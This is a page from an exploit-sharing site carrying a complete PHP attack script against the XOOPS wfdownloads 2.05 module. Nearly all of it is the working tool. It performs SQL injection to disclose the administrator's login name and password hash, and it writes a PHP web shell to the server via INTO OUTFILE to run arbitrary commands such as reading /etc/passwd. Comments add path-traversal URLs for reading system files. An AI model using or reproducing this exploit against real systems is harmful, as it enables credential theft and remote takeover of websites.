0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
XOOPS (wfdownloads) 2.05 Module Multiple Vulnerabilities Exploit
[================================================================
XOOPS (wfdownloads) 2.05 Module Multiple Vulnerabilities Exploit
================================================================
<?php
/*
rgod:
http://[target]/[path_to_xoops]/class/xoopseditor/textarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script
http://[target]/[path_to_xoops]/class/xoopseditor/textarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00
http://[target]/[path_to_xoops]/class/xoopseditor/koivi/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script
http://[target]/[path_to_xoops]/class/xoopseditor/koivi/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00
http://[target]/[path_to_xoops]/class/xoopseditor/dhtmltextarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script
http://[target]/[path_to_xoops]/class/xoopseditor/dhtmltextarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00
added for future reference /str0ke
*/
# ---XOOPS_WFd205_xpl.php 11.35 12/11/2005 #
# #
# XOOPS WF_Downloads Module v 2.05 SQL injection / #
# Admin credentials disclosure & remote commands execution all-in-one #
# by rgod #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# make these changes in php.ini if you have troubles #
# with this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# Sun-Tzu: "Indirect tactics, efficiently applied, are inexhausible as Heaven #
# and Earth, unending as the flow of rivers and streams; like the sun and #
# moon, they end but to begin anew; like the four seasons, they pass away to #
# return once more. #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<html><head><title>XOOPS WF_Downloads module 2.05 SQL Injection </title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style
type="text/css"> body { background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
XOOPS WF_Downloads module 2.05 SQL Injection </p><p class="
Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value&action=value"><p><input type="text"
name="host"> <span class="Stile5"> * hostname (ex: www.sitename.com) </span></p>
<p><input type="text" name="path"><span class="Stile5"> * path ( ex: /xoops/ or
just / )</span></p><p><input type="text" name="username"><span class="Stile5"> *
username</span></p><p><input type="text" name="password"><span class="Stile5"> *
...and password, to retrieve a session cookie</span> </p> <p><input type="text"
name="action"><span class="Stile5"> * action: "HASH" to disclose admin loginname
& MD5 password hash, "CMD" to launch commands </span> </p><p> <input type="text"
name="pathtoWWW"><span class="Stile5">path to WWW ftom Mysql directory,need this
for "...INTO OUTFILE ..." statement (default: ../../www) </span></p><p> <input
type="text" name="table_prefix"> <span class="Stile5"> specify a table prefix
other than the default (fXZtr_)</span></p><p><input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value)</span> </p><p>
<input type="text" name="command"> <span class="Stile5">a Unix command, example:
ls -la to list directories, cat /etc/passwd to show passwd file, cat ./../mainf
ile.php to see database username and password</span></p><p><input type="text"
name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:port)
</span></p><p><input type="submit"name="Submit" value="go!"> </p> </form> </td>
</tr></table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td>&nbps;&nbps;</td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
if (($host<>"") and ($path<>"") and ($username<>"") and ($password<>""))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($pathtoWWW=='') {$pathtoWWW="../../www";}
#default, path for "INTO OUTFILE <[path][file]>, two dirs up from mysql data directory, change it for
#different installations
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
if ($table_prefix=='') {$table_prefix="fXZtr_";}
$action=strtoupper($action);
if (($action<>'HASH') and ($action<>'CMD')) {echo "Specify an action..."; die;}
if ($action=="CMD"){if ($command==""){echo "specify a command..."; die;}}
# STEP 1 -> Login to retrieve a session cookie, bypass referrer check...
$data="uname=".urlencode($username)."&pass=".urlencode($password)."&op=login";
$packet="POST ".$p."user.php HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Referer: http://".$host.":".$port.$path."/user.php?xoops_redirect=%2Fmodules%2Fprofile%2Factivate.php%3Fop%3Dactv%26id%3D15%26actkey%3D&PHPSESSID=7ed3f806816476461a96e18c28044414\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0];
echo '<br>Your cookie: '.htmlentities($cookie);
if ($action=='HASH'){
# STEP 2a -> Disclose Admin MD5 password hash
$SQL="-' UNION SELECT 0,0,loginname,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pass,0,0 FROM ";
$SQL.=$table_prefix."users WHERE level=5/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."/modules/wfdownloads/viewcat.php?list=".$SQL." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
$temp=explode('<span class="itemTitle">',$html);
$temp2=explode('</span>',$temp[1]);
echo "LOGINNAME: ".$loginname=$temp2[0].'<BR>';
$temp=explode('<div style="margin-left: 6px;" align="justify">',$html);
$temp2=explode('</div>',$temp[2]);
echo "MD5 HASH: ".$hash=$temp2[0].'<BR>';
}
else
if ($action=='CMD'){
# STEP 3a -> Inject a shell through a query...
$SHELL="<?php error_reporting(0);ini_set(\"max_execution_time\",0);echo \"Hi Master \";system(\$_GET[cmd]);?>";
$SQL="-1'or'a'='a' UNION SELECT 0,0,0,'".$SHELL."',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO";
$SQL.="OUTFILE '".$pathtoWWW.$path."uploads/shell.php' FROM ".$table_prefix."wfdownloads_downloads/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."/modules/wfdownloads/viewcat.php?list=".$SQL." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
# STEP 3b -> Launch commands...
$packet="GET ".$p."/uploads/shell.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master",$html)) {echo "<br>Exploit Succeded...";}
else {echo "<br>Exploit Failed...";}
}
}
else
{echo "Fill * requested fields, optionally specify a proxy...";}
?>
# 0day.today [2024-11-16] #